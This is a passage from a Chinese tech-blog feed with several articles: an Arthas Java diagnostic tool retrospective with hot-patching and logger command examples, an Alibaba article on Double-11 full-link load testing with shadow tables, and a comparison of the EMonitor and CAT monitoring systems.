        最后,希望今天推荐的插件能够真正帮助大家提高开发部署的效率,提高对工具运用的能力,大家可安装试用起来,有任何疑问都可以加入社群进行提问,听说他们的客服也是一流,而且不定期有各种有奖活动/排位赛,今天给大家透漏 2 个中奖率较高的活动:

        • 推广有奖活动:将【本文章】转发到朋友圈、公众号、博客、微博、技术网站、媒体号等平台,截图给群里的客服,每转发一个平台——得 1 分 & 1 次抽奖机会,一个平台只能转发一次,可多个平台同时转发,累计分数排名前10+,可以获得重磅礼品。
        • 邀请排位赛:下载安装插件,获取邀请码,邀请朋友/同事下载插件,并填上你的邀请码,只要邀请超过 5 人(含)成功下载安装,就一定能获得重磅礼品(天猫精灵、电动牙刷、双肩背包、随身杯等)。

        加群了解活动详细:

        微信扫码,产品经理拉你进群

        钉钉扫码进群]]>
        Arthas 开源一周年,GitHub Star 16 K ,我们一直在坚持什么? Fri, 02 May 2025 09:39:04 +0800 缘起

        最近看到一个很流行的标题,《开源XX年,star XXX,我是如何坚持的》。
        看到这样的标题,忽然发觉 Arthas 从 2018 年 9 月开源以来,刚好一年了,正好在这个秋高气爽的时节做下总结和回顾。
        lADPDgQ9rJLi7EvNATjNA7Q_948_312_jpg_620x10000q90g

        Arthas 是 Alibaba 开源的 Java 诊断工具,深受开发者喜爱。

        Github:https://github.com/alibaba/arthas[1]
        文档:https://alibaba.github.io/arthas[2]

        回顾 Arthas Star 数的历史,一直保持快速增长,目前已经突破 16 K。
        lALPDgQ9rJLi7E3NBQTNB_o_2042_1284_png_620x10000q90g
        Arthas Github Star历史曲线

        感谢用户的支持,既是压力也是动力。在过去开源的一年里, Arthas 发布了 7 个 Release 版本,我们一直坚持三点:

        • 持续改进易用性
        • 持续增加好用的命令
        • 从开源社区中获取力量,回报社区

        持续改进易用性

        Arthas 一直把易用性放在第一位,在开源之后,我们做了下面的改进:

        • 开发 arthas boot ,支持 Windows/Linux/Mac 统一体验
        • 丝滑的自动补全,参考了 jshell 的体验
        • 高效的历史命令匹配, Up/Down 直达
        • 改进类搜索匹配功能,更好支持 lambda 和内部类
        • 完善重定向机制
        • 支持 JDK 9/10/11
        • 支持 Docker
        • 支持 rpm/deb 包安装

        尽管我们在易用性下了很大的功夫,但是发现很多时候用户比较难入门,因此,我们参考了 k8s 的 Interactive Tutorial ,推出了 Arthas 的在线教程:

        • Arthas 基础教程[3]
        • Arthas 进阶教程[4]

        通过基础教程,可以在交互终端里一步步入门,通过进阶教程可以深入理解 Arthas 排查问题的案例。

        另外,为了方便用户大规模部署,我们实现了 tunnel server 和用户数据回报功能:
        增加 tunnel server ,统一管理 Agent 连接
        增加用户数据回报功能,方便做安全管控

        持续增加好用的命令

        Arthas 号称是 Java 应用诊断利器,那么我们自己要对得起这个口号。在开源之后, Arthas 持续增加了 10 多个命令。

        • ognl 命令任意代码执行
        • mc 线上内存编译器
        • redefine 命令线上热更新代码
        • logger 命令一键查看应用里的所有 logger 配置
        • sysprop 查看更新 System Properties
        • sysenv 查看环境变量
        • vmoption 查看更新 VM option
        • logger 查看 logger 配置,更新 level
        • mbean 查看 JMX 信息
        • heapdump 堆内存快照

        下面重点介绍两个功能。

        jad/mc/redefine 一条龙热更新线上代码

        以 Arthas 在线教程 里的 UserController 为例:
        1、使用 jad 反编译代码

        jad --source-only com.example.demo.arthas.user.UserController > /tmp/UserController.java

        2、使用 vim 编译代码

        当 user id 小于 1 时,也正常返回,不抛出异常:

            @GetMapping("/user/{id}")
            public User findUserById(@PathVariable Integer id) {
                logger.info("id: {}" , id);
        
                if (id != null && id < 1) {
                    return new User(id, "name" + id);
                    // throw new IllegalArgumentException("id < 1");
                } else {
                    return new User(id, "name" + id);
                }
            }

        3、使用 mc 命令编译修改后的 UserController.java

        $ mc /tmp/UserController.java -d /tmp
        Memory compiler output:
        /tmp/com/example/demo/arthas/user/UserController.class
        Affect(row-cnt:1) cost in 346 ms

        4、使用 redefine 命令,因为可以热更新代码

        $ redefine /tmp/com/example/demo/arthas/user/UserController.class
        redefine success, size: 1

        通过 logger 命令查看配置,修改 level

        在网站压力大的时候(比如双 11 ),有个缓解措施就是把应用的日志 level 修改为 ERROR 。那么有两个问题:

        • 复杂应用的日志系统可能会有多个,那么哪个日志系统配置真正生效了?
        • 怎样在线上动态修改 logger 的 level ?
          通过 logger 命令,可以查看应用里 logger 的详细配置信息,比如 FileAppender输出的文件, AsyncAppender 是否 blocking 。
        [arthas@2062]$ logger
         name                                   ROOT
         class                                  ch.qos.logback.classic.Logger
         classLoader                            sun.misc.Launcher$AppClassLoader@2a139a55
         classLoaderHash                        2a139a55
         level                                  INFO
         effectiveLevel                         INFO
         additivity                             true
         codeSource                             file:/Users/hengyunabc/.m2/repository/ch/qos/logback/logback-classic/1.2.3/logback-classic-1.2.3.jar
         appenders                              name            CONSOLE
                                                class           ch.qos.logback.core.ConsoleAppender
                                                classLoader     sun.misc.Launcher$AppClassLoader@2a139a55
                                                classLoaderHash 2a139a55
                                                target          System.out
                                                name            APPLICATION
                                                class           ch.qos.logback.core.rolling.RollingFileAppender
                                                classLoader     sun.misc.Launcher$AppClassLoader@2a139a55
                                                classLoaderHash 2a139a55
                                                file            app.log
                                                name            ASYNC
                                                class           ch.qos.logback.classic.AsyncAppender
                                                classLoader     sun.misc.Launcher$AppClassLoader@2a139a55
                                                classLoaderHash 2a139a55
                                                blocking        false
                                                appenderRef     [APPLICATION]
        

        也可以在线修改 logger 的 level :

        [arthas@2062]$ logger --name ROOT --level debug
        update logger level success.

        从开源社区中获取力量,回报社区

        感谢 67 位 Contributors

        Arthas 开源以来,一共有 67 位 Contributors ,感谢他们贡献的改进:

        Arthas Contributors
        社区提交了一系列的改进,下面列出一些点(不完整):

        • 翻译了大部分英文文档的
        • trace 命令支持行号
        • 打包格式支持 rpm/deb
        • 改进命令行提示符为 arthas@pid
        • 改进对 windows 的支持
        • 增加 mbean 命令
        • 改进 webconsole 的体验

        另外,有 83 个公司/组织登记了他们的使用信息,欢迎更多的用户来登记:

        lALPDgQ9rJLi7FHNAeTNBt4_1758_484_png_620x10000q90g

        洐生项目

        基于 Arthas ,还产生了一些洐生项目,下面是其中两个:

        • Bistoury : 去哪儿网开源的集成了 Arthas 的项目
        • arthas-mvel : 一个使用 MVEL 脚本的 fork

        用户案例分享

        广大用户在使用 Arthas 排查问题过程中,分享了很多排查过程和心得,欢迎大家来分享。

        lALPDgQ9rJLi7FjNA9rNByY_1830_986_png_620x10000q90g

        回馈开源

        Arthas 本身使用了很多开源项目的代码,在开源过程中,我们给 netty, ognl, cfr 等都贡献了改进代码,回馈上游。

        后记

        在做 Arthas 宣传小册子时, Arthas 的宣传语是:

        “赠人玫瑰之手,经久犹有余香”

        希望 Arthas 未来能帮助到更多的用户解决问题,也希望广大的开发者对 Arthas 提出更多的改进和建议。

        参考资料

        [1]Arthas Github: https://github.com/alibaba/arthas

        [2]Arthas 文档: https://alibaba.github.io/arthas
        [3]Arthas基础教程:
        https://alibaba.github.io/arthas/arthas-tutorials?language=cn&id=arthas-basics
        [4]Arthas进阶教程:
        https://alibaba.github.io/arthas/arthas-tutorials?language=cn&id=arthas-advanced

        ]]>
        独家揭秘 | 阿里怎么做双11全链路压测? Fri, 02 May 2025 09:39:04 +0800 本文是《Performance Test Together》(简称PTT)系列专题分享的第7期,该专题将从性能压测的设计、实现、执行、监控、问题定位和分析、应用场景等多个纬度对性能压测的全过程进行拆解,以帮助大家构建完整的性能压测的理论体系,并提供有例可依的实战。

        该系列专题分享由阿里巴巴 PTS 团队出品,欢迎在文末处加入性能压测交流群,参与该系列的线上分享,点击“阅读原文”了解更多性能压测 PTS 相关。

        本文将从经典电商活动(双11大促)及新业务(钉钉春节红包)两个业务模式,来揭秘阿里是如何系统性地应对洪峰流量重要活动的;期间将着重介绍技术相关内容,并结合主题文章前几期中的环境选取、模式设计、场景设计与实践等内容,做一次串联与深度剖析与分享,呈现一场性能测试的技术盛宴。

        前言

        关于性能测试的重要性及必要性已经是个老生常谈的问题了,现分别从技术角度和业务战略角度总结如下:
        1

        而性能测试的目的也就是为了解决大型营销活动中洪峰流量引起的系统表现不确定性,一个理想的营销活动周期应该是有如下闭环流程:

        • 压测环境准备:需要复用真实的线上环境,压测结果和问题暴露才都是最真实情况。可通过压测流量全局识别、透传(数据进影子区域)。
        • 基础数据准备:以电商场景为例,构造满足大促场景的核心基础相关数据(如买家、卖家、商品信息),以线上数据为数据源,进行采样、过滤和脱敏,并保持同等量级。
          2

        可以看出,性能测试通过真实、高效的压测方式进行容量评估/瓶颈定位&解决,最终来保障活动稳定进行;每一个环节的内容都非常重要,以阿里双11活动为例,我们除了技术上的准备、执行、保障之外,还会有一些流程及分工细节。以下将逐一介绍。

        关于流程及管理

        阿里巴巴全链路压测从2013年到现在也已经是第7个年头了,在这7年中间我们不断的积累、总结、优化进步,从开始的200多人参与、通宵压测的大规模全员项目活动到后来仅仅几个6人白天压测、更智能化的压测方式,这样一种大规模的项目活动,离不开有效的流程把控及分工管理。

        阿里巴巴在多年双十一大促保障--全链路压测项目中,有着严格的流程把控及分工管理模式与经验,总结如下:
        说明:该图中时间点为模拟时间点,仅做先后顺序的参考。
        3

        好的流程规划与管理,可以大大提升团队协作效率。叠加上工具平台的智能化功能,可以将参与的200人力通宵压测缩减至10人以内白天压测,有效的方案 + 充足的准备 + 靠谱的平台技术产品 = 成功的压测。
        下面将结合主题系列前几次的文章,介绍下在数据准备、架构改造、流量安全策略(环境及流量隔离)、压测实施、问题定位分析这几方面,阿里巴巴在双十一压测这个项目上具体是怎么做的。

        数据准备

        大促活动确定之后,会对业务模型进行一次评审,即确定该业务模式对应的技术架构应用有哪些,需要做压测的业务范围有哪些、以及数据量级、数据形式是什么样的。所以数据准备包括准备业务模型数据和压测流量数据两部分。
        数据的准备,主要分为两部分:业务模型的建立和流量基础数据的构造。

        业务模型数据

        业务模型数据,即压测的业务模型相关的数据,包括涉及到哪些API,这些API之间的压测量级是什么样的或者有什么样的比例关系等。业务模型的构造准确度,直接影响了压测结果的可参考性。

        模型设计的目的主要是将业务进行采集并抽象成可执行的压测模型,并对各个子模型中的元素进行预测和设计,最终产生可以执行的压测模型。在双十一大促前,我们会确定好相关的业务,进行场景分类。

        • 已有业务场景:采集以往数据并做处理,作为预测数据,形成一个模型雏形,结合新的业务玩法,行程已有业务的模型;
        • 新业务场景:直接按照新的业务,模型配比,形成一个新业务模型。

        最终会将两种业务场景类型进行组合,形成最终的终态业务模型。以下图作为示例:
        4

        在组装业务模型数据的时候,需要注意一些关键因素,比如修改具体的电商业务模型关键因素

        • 1对N :上游业务一个请求对应下游业务接口是否会存在调用多次的情况;
        • 业务属性的比例:根据历史数据计算不同类型业务的比例关系;

        业务模型组装之后,单一事务中的业务模型,应该是一个漏斗状的。而每层之间的漏斗比例,是根据不同的层级、不同的玩法、不同的规则会有不一样的比例关系。在一次大促活动中,这个比例关系理论上是不会变化的。漏斗模型参考如下:
        5

        业务模型在压测时对应的就是压测量级,淘宝大促用的全部都是RPS模式压测,即从服务端角度出发每个API之间是漏斗比例关系、能够很好地应用于容量规划上。关于RPS模式与并发模式对比,可以参考前序文章《并发模式与 RPS 模式之争,性能压测领域的星球大战》。商业化产品PTS(性能测试服务,Performance Testing Service)中也很好的支持了RPS模式。

        压测基础流量数据

        如果说业务模型对应的是确定要压测的接口/API的话,那压测流量数据,就是确定这些压测API到底压测的是什么内容,比如:登录哪些用户、查看哪些商品和店铺、购买哪些商品,甚至是付款价格是什么。
        流量数据中,有一部分为上述业务模型对应具体RPS值,模型体现的是比例关系,而流量数据即有每次压测具体的RPS值。
        流量数据中最重要的部分,即为真实的压测数据,我们可以称之为基础数据,比如交易的买家、卖家、商品数据等。全链路压测的目的是为了模拟双11,所以模拟的真实性非常重要,基础数据的真实性就是至关重要的一环。全链路压测会以线上数据作为数据源,经过采样、过滤、脱敏等操作,形成可作为压测使用的数据。
        线上数据拿出来使用的时候,特别涉及到写数据的时候,避免造成脏数据,我们落地或者读取的时候,采用影子表的形式。当识别到为压测流量,则读写影子表,否则就读写线上正式表。影子表的产生为的是压测流量安全,关于影子表的阐释和使用方法,在《流量安全策略》中介绍。删除数据迁移内容
        淘宝内部系统使用的压测体系,数据平台和压测平台是两套平台。数据平台管理/提供压测数据(包括模型数据和流量数据),压测平台提供施压能力,即保证压测请求能够以指定的“协议”、指定的量级速率、从全国各地发送出来。商业化产品PTS(性能测试服务,Performance Testing Service)中提供的数据工厂能力,很好的将内部的数据平台和压测平台结合起来,产出为统一的一个压测系统,只需用户构造好压测数据以文件/自定义的形式定义好参数,在使用处配置即可。

        全链路压测环境改造

        数据准备的同时,需要考虑压测环境(即压测对象的部署环境)是哪里,不同环境就需要做不同的准备。关于压测环境的选择,可以参考前序文章《压测环境的设计和搭建》。
        整个阿里经济体的压测环境,包括双十一压测,全部选择的是线上环境,此时需要评估如果要进行全链路压测,是否直接可以使用现有环境、同一个API多次压测是否会被拦截、是否会有脏数据影响、如果有影响应该如何改造避免等。以上这些问题总结下来即为两类问题:业务问题和数据传递问题。问题比较明确,我们就根据这两类问题来做逐一的改造。
        改造分为2方面:业务改造和中间件改造,这些在内部全链路压测1.0 时代就已经完成了,对于外部客户来说,可以作为一个技术改造上的参考点。同时我们已经有成熟的产品化方案提供一站式的能力,免去复杂的改造和维护成本。

        业务改造

        业务改造即为了解决压测过程中的业务异常问题,或者压测请求无法正常被执行的问题。举例如下:修改改造内容点不那么详细

        • 流量区分与识别:压测流量和业务流量的区分,并可在全链路系统中识别出来;
        • 流量单一性问题:比如下单,同一个人执行一次下单后再重复执行就会失败;
        • 流量的限流拦截:如果日常有限制,需要改造为接入流量降级能实时生效调整配置;
        • 剔除压测数据对报表的影响
        • 动态校验
        • ......

        业务改造涉及的内容无法一一穷举,需要根据不同的业务模型、业务架构及配置,一一梳理。一般梳理改造之后,后续所有新应用都按照规范去开发,每年的压测前进行基础的查漏补缺即可。

        中间件改造

        中间件作为衔接业务应用之间的组件,在压测中有个至关重要的功能就是将流量标识传递下去,一直到最终的数据库层面。虽然我们在13年开始,从核心应用使用到的中间件已经升级改造完成,中间我们踩过不少坑,诸如改造全面性、改造带来的业务代码修改成本、版本兼容问题等。
        改造完成之后,压测流量的模型图可以参考如下:
        6

        现云上高可用解决方案,提供了全链路压测解决方案的服务,如需要做全链路压测改造的,欢迎垂询。同时,我们后续也会发布全链路压测2.0,可以帮助用户低成本的进行改造。

        流量安全策略

        流量安全策略主要是为了保证能够正常的施压流量且数据不错乱,安全地、符合预期地进行。这里面就包括了两层考虑:
        测试数据和正常数据的严格隔离,即非法流量的监控和保护机制;
        手段:影子表数据。影子表为和线上结构一致,但是处于隔离位置的可写压测数据表。修改影子表的阐述详情,更简化
        效果:数据隔离,避免了数据错乱。
        压测流量的安全过滤,即不被识别为攻击流量;
        手段:将安全相关策略接入流控降级功能;针对压测适当放松安全策略,或根据特殊标记识别;
        效果:压测流量不被判定为攻击流量,成功压测的同时保障线上业务的安全性。
        此处,涉及到第三方的系统,诸如支付宝、短信等服务,因业务特殊性需要做压测系统的打通。13年淘宝实现了第一次全链路压测,但是未能打通下游业务链路。在14年双十一压测前,和支付宝、物流环节等打通了全面的压测系统。对于外部客户来说,支付宝、短信等都有对应的挡板服务可提供,用来供用户做全链路压测时使用。

        压测实施

        根据最开始介绍到的流程管控,一切准备就绪之后,即可开始进行全链路压测。除常规理解的正式压测之外,我们还有额外的两个预操作:系统预热、登录准备。
        说明:此处未介绍首次改造之后的单链路压测调试,这部分基本由开发同学自行操作验证,故不在此特殊阐述。

        • 关于系统预热
          这里说的预热,未包含我们内部提到的预跑。删除预跑相关信息 预热是为了该缓存的数据提前缓存好,达到大促缓存态的状态,也更好地实现我们缓存的目的。大促缓存的使用应该利用到极致,故需要通过预热来进行。简化预热的功能描述

        对外部客户来说,可以通过先一轮、低量级的全链路压测,来提前预热系统,包括在真正大促活动之前也可这样操作,即提前缓存住需要缓存的数据。

        • 登录准备
          登录准备主要是用于需要长连接保持、秒杀等场景,即用户都是逐步登录上来,然后再进行业务操作的场景。故如果量级特别大的时候,可以提前做登录的准备,一则来模拟真实用户登录场景,二则是对登录系统的保护。
        • 正式压测
          一般正式压测会按照压测计划,执行多种压测策略。淘宝的双11大促压测,一般包含这样几步:
        • 峰值脉冲
          即完全模拟0点大促目标峰值流量,进行大促态压测,观察系统表现。
        • 系统摸高
          取消限流降级保护功能,抬高当前压测值(前提是当前的目标压测值已经达到,则可以进行摸高测试),观察系统的极限值是多少。可进行多轮提升压力值压测,直到系统出现异常为止。简化摸高测试的提升信息
        • 限流降级验证
          顾名思义,即验证限流降级保护功能是否正常。修改限流降级的作用与验证方法,更简化。 (AHAS引入)商业化产品AHAS(应用高可用服务,Application High Availability Service)提供了全面的限流降级能力,可进行全链路的降级保护。
        • 破坏性测试
          这个主要是为了验证预案的有效性,类似于容灾演练时的预案执行演练。即为持续保持大促态压测,并验证预案的有效性,观察执行预案之后对系统的影响。修改破坏性测试的内容

        对外部客户来说,可以配置不同的压测量级数据,来进行多轮压测,并观察其系统表现。压测不应该是一次性的操作,而应该是反复的、多轮验证的操作。

        问题定位分析

        压测结束之后,会将压测过程中的系统表现、监控数据等整理,进行压测复盘,分析当前系统瓶颈、后续改进修复计划及下一轮压测时间等。在分析定位问题时,因涉及的系统较多、子业务系统的形态不一,需要具体问题具体分析,其中不免需要一线研发的介入。
        商业化产品PTS(性能测试服务,Performance Testing Service)的压测报告,有详细统计数据及趋势图数据,采样日志以及添加了的监控数据。后续PTS还会提供架构监控,帮助性能测试执行同学,更好地从系统架构角度判定压测过程中系统是否正常,大致瓶颈点。

        智能化压测

        阿里巴巴全链路压测已经进入第7个年头,从开始的摸着石头过河,发展到现在更智能化形态。其中部分功能也会体现在商业化产品中,大家敬请期待。

        • 更多协议的支持
        • 容量评估
        • 问题自动发现
        • 全链路功能测试&压测预演
        • 压测常态化
        • 弹性大促,边压边弹
        • ......

        未来

        阿里巴巴将全链路压测进行到第7个年头,中间经历了太多的磨练与积累,随着新技术的出现,我们也将不断的完善自己,做到更好。同时,更希望能将这么多年的经验,能赋能到外部客户,比我们少踩坑、完美的度过每一轮大促活动,并将全链路压测应用到更多的日常场景中。

        阿里巴巴将全链路压测进行到第7个年头,中间经历了太多的磨练与积累,随着新技术的出现,我们也将不断的完善自己,做到更好。同时,更希望能将这么多年的经验,能赋能到外部客户,比我们少踩坑、完美的度过每一轮大促活动,并将全链路压测应用到更多的日常场景中。

        性能压测技术交流钉钉群(推荐)

        lADPDgQ9rJ7LOrDNA97NAu4_750_990_jpg_620x10000q90g

        本文作者:牛兔(花名):阿里巴巴产品经理,负责PTS性能测试服务。之前曾负责过淘宝、钉钉等业务的运维工作,及内部PaaS平台产品。

        ]]>
        饿了么监控系统 EMonitor 与美团点评 CAT 的对比 Fri, 02 May 2025 09:39:04 +0800 背景介绍

        饿了么监控系统EMonitor:是一款服务于饿了么所有技术部门的一站式监控系统,覆盖了系统监控、容器监控、网络监控、中间件监控、业务监控、接入层监控以及前端监控的数据存储与查询。每日处理总数据量近PB,每日写入指标数据量百T,每日指标查询量几千万,配置图表个数上万,看板个数上千。

        CAT:是基于Java 开发的实时应用监控平台,为美团点评提供了全面的实时监控告警服务

        本文通过对比分析下2者所做的事情为契机讨论监控系统或许该有的面貌,以及浅谈下监控系统发展的各个阶段

        CAT做的事情(开源版)

        首先要强调的是这里我们只能拿到github上开源版CAT的最新版3.0.0,所以是基于此进行对比

        接下来说说CAT做了哪些事情?

        1 抽象出监控模型

        抽象出Transaction、Event、Heartbeat、Metric 4种监控模型。

        • Transaction:用来记录一段代码的执行时间和次数
        • Event:用来记录一件事发生的次数
        • Heartbeat:表示程序内定期产生的统计信息, 如CPU利用率
        • Metric:用于记录业务指标,可以记录次数和总和

        针对Transaction和Event都固定了2个维度,type和name,并且针对type和name进行分钟级聚合成报表并展示曲线。
        1

        2 采样链路

        针对上述Transaction、Event的type和name分别有对应的分钟级的采样链路
        2

        3 自定义的Metric打点

        目前支持Counter和Timer类型的打点,支持tag,单机内单个Metric的tag组合数限制1000。
        并且有简单的监控看板,如下图所示:
        3

        4 与其他组件集成

        比如和Mybatis集成,在客户端开启相关的sql执行统计,并将该统计划分到Transaction统计看板中的type=SQL的一栏下
        4

        5 告警

        可以针对上述的Transaction、Event等做一些简单的阈值告警

        饿了么EMonitor和CAT的对比

        饿了么EMonitor借鉴了CAT的相关思想,同时又进行了改进。

        1 引入Transaction、Event的概念

        针对Transaction和Event都固定了2个维度,type和name,不同地方在于聚合用户发过来的数据

        CAT的架构图如下所示:
        5

        CAT的消费机需要做如下2件事情:

        • 对Transaction、Event等消息模型按照type和name进行当前小时的聚合,历史小时的聚合数据写入到mysql中
        • 将链路数据写入到本地文件或者远程HDFS上

        EMonitor的架构图如下所示:
        6

        EMonitor分2路对数据进行隔离处理:

        • Real-Time Streaming Compute:对用户发过来的链路中的Transaction、Event等监控模型转变成指标数据并进行10s的预聚合,同时也对用户发过来的Metric数据进行10s预聚合。最后将10s预聚合的数据写入到LinDB时序数据库(已开源,有兴趣的可以关注star下)中,以及kafka中,让告警模块watchdog去消费kafka做实时告警
        • Real-Time Data Writer:对用户发过来的链路数据构建链路索引、向HDFS和HBase写入索引和链路数据,同时会构建应用之间的依赖关系,将依赖关系写入到Neo4j中

        所以EMonitor和CAT的一个很大不同点就在于对指标的处理上,EMonitor交给专业的时序数据库来做,而CAT自己做聚合就显得功能非常受限,如下所示:

        • CAT只能整小时的查看type和name数据,不能跨小时,即不能查看任意2个时间之间的报表数据,EMonitor没有此限制
        • CAT没法查看所有type汇总后的响应时间和QPS,EMonitor可以灵活的自由组合type和name进行聚合
        • CAT的type和name报表是分钟级的,EMonitor是10s级别的
        • CAT的type和name没能和历史报表曲线直接对比,EMonitor可以对比历史报表曲线,更容易发现问题
        • CAT的type和name列表首页展示了一堆数字,无法立即获取一些直观信息,比如给出了响应时间TP99 100ms这个到底是好还是坏,EMonitor有当前曲线和历史曲线,相对来说可以直接判断到底ok不ok
        • CAT的TP99、TP999基于单机内某个小时内的报表是准确的,除此之外多机或者多个小时的聚合TP99、TP999是用加权平均来计算的,准确性有待提高

        但是CAT也有自己的优势:

        • CAT含有TP999、TP9999线(但是准确性还有些问题),EMonitor只能细到TP99
        • CAT的type和name可以按照机器维度进行过滤,EMonitor没有做到这么细粒度

        2 采样链路

        目前CAT和EMonitor都可以通过type和name来过滤采样链路,不同点在于

        • CAT的采样链路是分钟级别的,EMonitor是10s级别的
        • 针对某一个type和name,CAT目前无法轻松找想要的链路,EMonitor可以轻松的找到某个时刻或者说某段时间内响应时间想要的链路(目前已经申请专利)

        EMonitor的链路如下所示:
        7

        • 这张图是某个10s时刻、某个type和name过滤条件下的采样链路
        • 第一行是这10s内的采样链路,按照响应时间进行了排序
        • 可以随意点击某个响应时间来查看对应的链路详情

        3 自定义的Metric打点

        EMonitor支持Counter、Timer、Histogram、Payload、Gauge等等多种形式的打点方式,并且支持tag

        • Counter:计数累加类型
        • Timer:可以记录一段代码的耗时,包含执行次数、耗时最大值、最小值、平均值
        • Histogram:包含Timer的所有东西,同时支持计算TP99线,以及其他任意TP线(从0到100)
        • Payload:可以记录一个数据包的大小,包含数据包个数、包的最大值、最小值、平均值
        • Gauge:测量值,一般用于衡量队列大小、连接数、CPU、内存等等

        也就是任意Metric打点都可以流经EMonitor进行处理了并输送到LinDB时序数据库中。至此,EMonitor就可以将任何监控指标统一在一起了,比如机器监控都可以通过EMonitor来保存了,这为一站式监控系统奠定了基础

        自定义Metric看板

        CAT只有一个简易的Metric看板
        EMonitor针对Metric开发了一套可以媲美Grafana的指标看板,相比Grafana的优势:

        • 有一套类似SQL的非常简单的配置指标的方式
        • 跟公司人员组织架构集成,更加优雅的权限控制,不同的部门可以建属于自己的看板
        • 指标和看板的收藏,当源指标或看板改动后,无需收藏人员再改动
        • alpha、beta、prod不同环境之间的一键同步指标和看板,无需配置多次
        • PC端和移动端的同步查看指标和看板

        类SQL的配置查询指标方式如下所示:
        8

        • 可以配置图表的展现形式
        • 可以配置要查询的字段以及字段之间的加减乘除等丰富的表达式
        • 可以配置多个任意tag的过滤条件
        • 可以配置group by以及order by

        看板整体如下所示:
        9

        移动端显示如下:
        10

        4 与其他组件集成

        11

        目前EMonitor已经打通了IaaS层、PaaS层、应用层的所有链路和指标的监控,再也不用在多个监控系统中切换来切换去了,如下所示

        12

        • 1 IaaS层物理机、机房网络交换机等的监控指标
        • 2 PaaS层中间件服务端的监控指标
        • 3 应用层SOA、Exception、JVM、MQ等客户端的相关指标
        • 4 应用层自定义的监控指标

        以打通饿了么分库分表中间件DAL为例:
        13
        14

        • 可以根据机房、执行状态、表、操作类型(比如Insert、Update、Select等)进行过滤查看
        • 左边列表给出每条SQL的执行的平均耗时
        • 右边2个图表给出该条SQL在DAL中间件层面、DB层面的耗时以及调用QPS
        • 可以给出该SQL打在后端DAL中间、DB上的分布情况,可以用于排查是否存在一些热点的情况
        • 还有一些SQL查询结果的数据包大小的曲线、SQL被DAL限流的情况等等
        • 可以查看任何时间点上该SQL的调用链路信息

        再以打通饿了么SOA服务为例:
        15
        16

        • 可以根据机房和状态信息进行过滤
        • 左边一栏列出该应用提供的SOA服务接口,同时给出平均响应时间以及和昨天的对比情况
        • 右边的2个图表分别给出了对应服务接口的服务响应时间和QPS以及和昨天的对比情况,同时可以切换平均响应时间到TP99或者其他TP值,同时配有可以快速对相关曲线添加告警的跳转链接
        • 可以切换到单机维度来查看每台机器该SOA接口的响应时间和QPS,用来定位某台机器的问题
        • 可以给出该SOA接口调用在不同集群的分布占比
        • 可以给出该SOA接口的所有调用方以及他们的QPS
        • 可以查看任何时间点上该SOA接口的调用链路信息

        5 告警

        可以针对所有的监控指标配置如下告警方式:

        • 阈值:简单的阈值告警,适用于CPU、内存等
        • 同环比:与过去同期比较的告警
        • 趋势:适合于相对平滑连续的无需阈值的智能告警
        • 其他告警形式

        浅谈监控系统的发展趋势

        1 日志监控阶段

        本阶段实现方式:程序打日志,使用ELK来存储和查询程序的运行日志,ELK也能简单显示指标曲线

        排障过程:一旦有问题,则去ELK中搜索可能的异常日志来进行分析排障

        2 链路监控阶段

        上一个阶段存在的问题:ELK只是基于一行一行日志进行聚合或者搜索分析,日志之间没有上下文关联。很难知道一次请求耗时较长究竟耗时在哪个阶段

        本阶段实现方式:CAT横空出世,通过建模抽象出Transaction、Metric等监控模型,将链路分析和简单的报表带入了大家的视野

        告警方式:针对报表可以进行阈值监控
        排障过程:一旦有告警,可以通过点击报表来详细定位到是哪个type或name有一定问题,顺便找到对应的链路,查看详细的信息

        3 指标监控阶段

        上一阶段存在的问题:CAT对自定义指标支持的比较弱,也无法实现或者展现更加多样的查询聚合需求

        本阶段的实现方式:支持丰富的Metric指标,将链路上的一些报表数据也可以划分到指标中,交给专业的时序数据库来做指标的存储和查询,对接或者自研丰富的指标看板如Grafana

        告警方式:针对指标进行更加丰富的告警策略
        排障过程:一旦有告警,可能需要到各个系统上查看指标看板,粗略定位根因,再结合链路总和分析

        4 平台打通整合阶段

        上一阶段存在的问题:系统监控、中间件和业务监控、部分业务监控、链路监控与指标监控都各搞一套数据收集、预处理、存储、查询、展现、告警流程,各个系统处理数据格式、使用方式不统一

        本阶段的实现方式:打通从系统层面、容器层面、中间件层面、业务层面等等的可能的链路和指标监控,统一数据的处理流程,同时整合发布、变更、告警与监控曲线结合,成为一站式监控平台

        告警方式:可以统一的针对各个层面的监控数据做统一化的告警
        排障过程:只需要在一个监控系统中就可以查看到所有的监控曲线和链路信息

        目前我们EMonitor已完成这个阶段,将公司之前存在已久的3套独立的监控系统统一整合成现如今的一套监控系统

        5 深度分析阶段

        上一阶段存在的问题:

        • 用户虽然可以在一个系统中看到所有各个层面的监控数据了,但是每次排障时仍然要花很多的时间去查看各个层面是否有问题,一旦漏看一项可能就错过了问题所在的根因
        • 没有整个业务的全局监控视角,都停留在各自应用的角度

        总之:之前的阶段都是去做一个监控平台,用户查询什么指标就展示相应的数据,监控平台并不去关心用户所存储数据的内容。现在呢就需要转变思路,监控平台需要主动去帮用户分析里面所存储的数据内容

        本阶段的实现方式:所要做的就是把帮用户分析的过程抽象出来,为用户构建应用大盘和业务大盘,以及为大盘做相关的根因分析。

        • 应用大盘:就是为当前应用构建上下游应用依赖的监控、当前应用所关联的机器监控、redis、MQ、database等等监控,可以时刻为应用做体检,来主动暴露出问题,而不是等用户去一个个查指标而后发现问题
        • 业务大盘:就是根据业务来梳理或者利用链路来自动生产大盘,该大盘可以快速告诉用户是哪些业务环节出的问题

        根因分析:一个大盘有很多的环节,每个环节绑定有很多的指标,每次某个告警出来有可能需要详细的分析下每个环节的指标,比如消费kafka的延迟上升,有各种各样的原因都可能导致,每次告警排查都需要将分析流程再全部人为分析排查下,非常累,所以需要将定位根因的过程通过建模抽象下,来进行统一解决

        趋势报表分析:主动帮用户发现一些逐渐恶化的问题点,比如用户发布之后,接口耗时增加,很可能用户没有发现,虽然当前没有问题,但是很有可能在明天的高峰期就会暴露问题,这些都是已经实实在在发生的事故

        要想做主动分析,还深度依赖指标下钻分析,即某个指标调用量下降了,能主动分析出是哪些tag维度组合导致的下降,这是上述很多智能分析的基础,这一块也不简单

        告警方式:可以统一的针对各个层面的监控数据做统一化的告警
        排障过程:NOC根据业务指标或者业务大盘快速得知是哪些业务或者应用出先了问题,应用的owner通过应用大盘的体检得知相关的变动信息,比如是redis波动、database波动、上下游应用的某个方法波动等等,来达到快速定位问题目的,或者通过对大盘执行根因分析来定位到根因

        再谈Logging、Tracing、Metrics

        常见一张3者关系的图
        17

        三者的确都不可或缺,相辅相成,但是我想说以下几点:

